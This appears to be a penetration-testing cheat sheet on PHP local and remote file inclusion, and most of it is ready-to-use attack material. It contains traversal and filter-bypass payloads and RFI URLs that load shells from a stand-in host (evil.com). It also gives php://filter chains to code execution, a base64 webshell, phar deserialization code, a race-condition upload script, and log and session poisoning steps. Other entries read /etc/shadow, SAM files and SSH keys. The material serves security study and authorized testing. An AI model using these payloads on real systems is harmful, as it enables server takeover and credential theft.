# File Inclusion > A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement. **File Inclusion Vulnerability** should be differentiated from **Path Traversal**. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code. ## Summary - [Tools](#tools) - [Local File Inclusion](#local-file-inclusion) - [Null byte](#null-byte) - [Double encoding](#double-encoding) - [UTF-8 encoding](#utf-8-encoding) - [Path and dot truncation](#path-and-dot-truncation) - [Filter bypass tricks](#filter-bypass-tricks) - [Remote File Inclusion](#remote-file-inclusion) - [Null byte](#null-byte-1) - [Double encoding](#double-encoding-1) - [Bypass allow_url_include](#bypass-allow_url_include) - [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) - [Wrapper php://filter](#wrapper-phpfilter) - [Wrapper data://](#wrapper-data) - [Wrapper expect://](#wrapper-expect) - [Wrapper input://](#wrapper-input) - [Wrapper zip://](#wrapper-zip) - [Wrapper phar://](#wrapper-phar) - [PHAR archive structure](#phar-archive-structure) - [PHAR deserialization](#phar-deserialization) - [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk) - [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd) - [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron) - [LFI to RCE via iconv](#lfi-to-rce-via-iconv) - [LFI to RCE via upload](#lfi-to-rce-via-upload) - [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race) - [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile) - [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo) - [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file) - [RCE via SSH](#rce-via-ssh) - [RCE via Mail](#rce-via-mail) - [RCE via Apache logs](#rce-via-apache-logs) - [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions) - [LFI to RCE via PHP PEARCMD](#lfi-to-rce-via-php-pearcmd) - [LFI to RCE via credentials files](#lfi-to-rce-via-credentials-files) - [Labs](#labs) - [References](#references) ## Tools * [P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) (archived on Oct 7, 2020) - kadimus is a tool to check and exploit lfi vulnerability. * [D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner * [kurobeats/fimap](https://github.com/kurobeats/fimap) - fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps. * [lightos/Panoptic](https://github.com/lightos/Panoptic) - Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through path traversal vulnerabilities. * [hansmach1ne/LFImap](https://github.com/hansmach1ne/LFImap) - Local File Inclusion discovery and exploitation tool ## Local File Inclusion Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the `page` parameter to include local or remote files, leading to unauthorized access or code execution. ```php ``` In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files. ```powershell http://example.com/index.php?page=../../../etc/passwd ``` ### Null byte :warning: In versions of PHP below 5.3.4 we can terminate with null byte. ```powershell http://example.com/index.php?page=../../../etc/passwd%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### UTF-8 encoding ```powershell http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 ``` ### Path and dot truncation On most PHP installations a filename longer than `4096` bytes will be cut off so any excess chars will be thrown away. ```powershell http://example.com/index.php?page=../../../etc/passwd............[ADD MORE] http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE] http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd ``` ### Filter bypass tricks ```powershell http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd ``` ## Remote File Inclusion > Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input. Remote File Inclusion doesn't work anymore on a default configuration since `allow_url_include` is now disabled since PHP5. ```ini allow_url_include = On ``` Most of the filter bypasses from LFI section can be reused for RFI. ```powershell http://example.com/index.php?page=http://evil.com/shell.txt ``` ### Null byte ```powershell http://example.com/index.php?page=http://evil.com/shell.txt%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt ``` ### Bypass allow_url_include When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol. 1. Create a share open to everyone 2. Write a PHP code inside a file : `shell.php` 3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php` ## LFI / RFI using wrappers ### Wrapper php://filter The part "`php://filter`" is case insensitive ```powershell http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` Wrappers can be chained with a compression wrapper for large files. ```powershell http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` NOTE: Wrappers can be chained multiple times using `|` or `/`: - Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s` - deflate then `base64encode` (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php` ```powershell ./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php ``` Also there is a way to turn the `php://filter` into a full RCE. * [synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - A CLI to generate PHP filters chain ```powershell $ python3 php_filter_chain_generator.py --chain '' [+] The following gadget chain will generate the following code : (base64 value: PD9waHAgcGhwaW5mbygpOz8+) php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp ``` * [LFI2RCE.py](./LFI2RCE.py) to generate a custom payload. ```powershell # vulnerable file: index.php # vulnerable parameter: file # executed command: id # executed PHP code: curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd" ``` ### Wrapper data:// ```powershell http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` ### Wrapper expect:// ```powershell http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### Wrapper input:// Specify your payload in the POST parameters, this can be done with a simple `curl` command. ```powershell curl -X POST --data "" "https://example.com/index.php?page=php://input%00" -k -v ``` Alternatively, Kadimus has a module to automate this attack. ```powershell ./kadimus -u "https://example.com/index.php?page=php://input%00" -C '' -T input ``` ### Wrapper zip:// 1. Create an evil payload: `echo "
" > payload.php;` 2. Zip the file ```python zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php ``` 3. Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg%23payload.php ### Wrapper phar:// #### PHAR archive structure PHAR files work like ZIP files, when you can use the `phar://` to access files stored inside them. 1. Create a phar archive containing a backdoor file: `php --define phar.readonly=0 archive.php` ```php startBuffering(); $phar->addFromString('test.txt', ''); $phar->setStub(''); $phar->stopBuffering(); ?> ``` 2. Use the `phar://` wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt` #### PHAR deserialization :warning: This technique doesn't work on PHP 8+, the deserialization has been removed. If a file operation is now performed on our existing phar file via the `phar://` wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: `include`, `file_get_contents`, `file_put_contents`, `copy`, `file_exists`, `is_executable`, `is_file`, `is_dir`, `is_link`, `is_writable`, `fileperms`, `fileinode`, `filesize`, `fileowner`, `filegroup`, `fileatime`, `filemtime`, `filectime`, `filetype`, `getimagesize`, `exif_read_data`, `stat`, `lstat`, `touch`, `md5_file`, etc. This exploit requires at least one class with magic methods such as `__destruct()` or `__wakeup()`. Let's take this `AnyClass` class as example, which execute the parameter data. ```php class AnyClass { public $data = null; public function __construct($data) { $this->data = $data; } function __destruct() { system($this->data); } } ... echo file_exists($_GET['page']); ``` We can craft a phar archive containing a serialized object in its meta-data. ```php // create new Phar $phar = new Phar('deser.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(''); // add object of any class as meta data class AnyClass { public $data = null; public function __construct($data) { $this->data = $data; } function __destruct() { system($this->data); } } $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering(); ``` Finally call the phar wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar` NOTE: you can use the `$phar->setStub()` to add the magic bytes of JPG file: `\xff\xd8\xff` ```php $phar->setStub("\xff\xd8\xff\n"); ``` ### Wrapper convert.iconv:// and dechunk:// #### Leak file content from error-based oracle - `convert.iconv://`: convert input into another folder (`convert.iconv.utf-16le.utf-8`) - `dechunk://`: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9 The goal of this exploitation is to leak the content of a file, one character at a time, based on the [DownUnderCTF](https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py) writeup. **Requirements**: - Backend must not use `file_exists` or `is_file`. - Vulnerable parameter should be in a `POST` request. - You can't leak more than 135 characters in a GET request due to the size limit The exploit chain is based on PHP filters: `iconv` and `dechunk`: 1. Use the `iconv` filter with an encoding increasing the data size exponentially to trigger a memory error. 2. Use the `dechunk` filter to determine the first character of the file, based on the previous error. 3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one. Exploit using [synacktiv/php_filter_chains_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit), the script will use either the `HTTP status code: 500` or the time as an error-based oracle to determine the character. ```ps1 $ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0 [*] The following URL is targeted : http://127.0.0.1 [*] The following local file is leaked : /test [*] Running POST requests [+] File /test leak is finished! ``` #### Leak file content inside a custom format output * [ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) - Generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file. To obtain the contents of some file, we would like to have: `{"message":""}`. ```ps1 ./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000 ./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000 ./wrapwrap.py /etc/passwd '' '' 1000 ``` This can be used against vulnerable code like the following. ```php message; ?> ``` ## LFI to RCE via /proc/*/fd 1. Upload a lot of shells (for example : 100) 2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too) ## LFI to RCE via /proc/self/environ Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file ```powershell GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ## LFI to RCE via iconv Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`. **Requirements**: * PHP 7.0.0 (2015) to 8.3.7 (2024) * GNU C Library (`glibc`) <= 2.39 * Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters **Exploit**: * [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main) ## LFI to RCE via upload If you can upload a file, just inject the shell payload in it (e.g : `` ). ```powershell http://example.com/index.php?page=path/to/uploaded/file.png ``` In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf ## LFI to RCE via upload (race) * Upload a file and trigger a self-inclusion. * Repeat the upload a shitload of time to: * increase our odds of winning the race * increase our guessing odds * Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6} * Enjoy our shell. ```python import itertools import requests import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: # ` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories. * `*`/`<<` : Represents any sequence of characters. * `?`/`>` : Represents any single character. Upload a file, it should be stored in the temp folder `C:\Windows\Temp\` with a generated name like `php[A-F0-9]{4}.tmp`. Then either bruteforce the 65536 filenames or use a wildcard character like: `http://site/vuln.php?inc=c:\windows\temp\php<<` ## LFI to RCE via phpinfo() PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**. > By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name. Use the script [phpInfoLFI.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf ## LFI to RCE via controlled log file Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file. ```powershell http://example.com/index.php?page=/var/log/apache/access.log http://example.com/index.php?page=/var/log/apache/error.log http://example.com/index.php?page=/var/log/apache2/access.log http://example.com/index.php?page=/var/log/apache2/error.log http://example.com/index.php?page=/var/log/nginx/access.log http://example.com/index.php?page=/var/log/nginx/error.log http://example.com/index.php?page=/var/log/vsftpd.log http://example.com/index.php?page=/var/log/sshd.log http://example.com/index.php?page=/var/log/mail http://example.com/index.php?page=/var/log/httpd/error_log http://example.com/index.php?page=/usr/local/apache/log/error_log http://example.com/index.php?page=/usr/local/apache2/log/error_log ``` ### RCE via SSH Try to ssh into the box with a PHP code as username ``. ```powershell ssh @10.10.10.10 ``` Then include the SSH log files inside the Web Application. ```powershell http://example.com/index.php?page=/var/log/auth.log&cmd=id ``` ### RCE via Mail First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`. ```powershell root@kali:~# telnet 10.10.10.10. 25 Trying 10.10.10.10.... Connected to 10.10.10.10.. Escape character is '^]'. 220 straylight ESMTP Postfix (Debian/GNU) helo ok 250 straylight mail from: mail@example.com 250 2.1.0 Ok rcpt to: root 250 2.1.5 Ok data 354 End data with . subject: data2 . ``` In some cases you can also send the email with the `mail` command line. ```powershell mail -s "" www-data@10.10.10.10. < /dev/null ``` ### RCE via Apache logs Poison the User-Agent in access logs: ``` $ curl http://example.org/ -A "" ``` Note: The logs will escape double quotes so use single quotes for strings in the PHP payload. Then request the logs via the LFI and execute your command. ``` $ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id ``` ## LFI to RCE via PHP sessions Check if the website use PHP Session (PHPSESSID) ```javascript Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files ```javascript /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Set the cookie to `` ```powershell login=1&user=&pass=password&lang=en_us.php ``` Use the LFI to include the PHP session file ```powershell login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 ``` ## LFI to RCE via PHP PEARCMD PEAR is a framework and distribution system for reusable PHP components. By default `pearcmd.php` is installed in every Docker PHP image from [hub.docker.com](https://hub.docker.com/_/php) in `/usr/local/lib/php/pearcmd.php`. The file `pearcmd.php` uses `$_SERVER['argv']` to get its arguments. The directive `register_argc_argv` must be set to `On` in PHP configuration (`php.ini`) for this attack to work. ```ini register_argc_argv = On ``` There are this ways to exploit it. * **Method 1**: config create ```ps1 /vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/exec.php /vuln.php?file=/tmp/exec.php&cmd=phpinfo();die(); ``` * **Method 2**: man_dir ```ps1 /vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=+-s+ /vuln.php?file=/tmp/exec.php&c=id ``` The created configuration file contains the webshell. ```php #PEAR_Config 0.9 a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"";} ``` * **Method 3**: download (need external network connection). ```ps1 /vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://:/exec.php /vuln.php?file=exec.php&c=id ``` * **Method 4**: install (need external network connection). Notice that `exec.php` locates at `/tmp/pear/download/exec.php`. ```ps1 /vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://:/exec.php /vuln.php?file=/tmp/pear/download/exec.php&c=id ``` ## LFI to RCE via credentials files This method require high privileges inside the application in order to read the sensitive files. ### Windows version First extract `sam` and `system` files. ```powershell http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam http://example.com/index.php?page=../../../../../../WINDOWS/repair/system ``` Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique. ### Linux version First extract `/etc/shadow` files. ```powershell http://example.com/index.php?page=../../../../../../etc/shadow ``` Then crack the hashes inside in order to login via SSH on the machine. Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa. If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `//.ssh/id_rsa`. ## Labs * [Root Me - Local File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion) * [Root Me - Local File Inclusion - Double encoding](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Double-encoding) * [Root Me - Remote File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Remote-File-Inclusion) * [Root Me - PHP - Filters](https://www.root-me.org/en/Challenges/Web-Server/PHP-Filters) ## References * [Baby^H Master PHP 2017 - Orange Tsai (@orangetw) - Dec 5, 2021](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017) * [CVV #1: Local File Inclusion - SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos - 19 June 2018](https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html) * [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction - Mannu Linux - 2019-05-12](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html) * [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - 27 May, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) * [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) * [Is PHP vulnerable and under what conditions? - April 13, 2015 - Andreas Venieris](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html) * 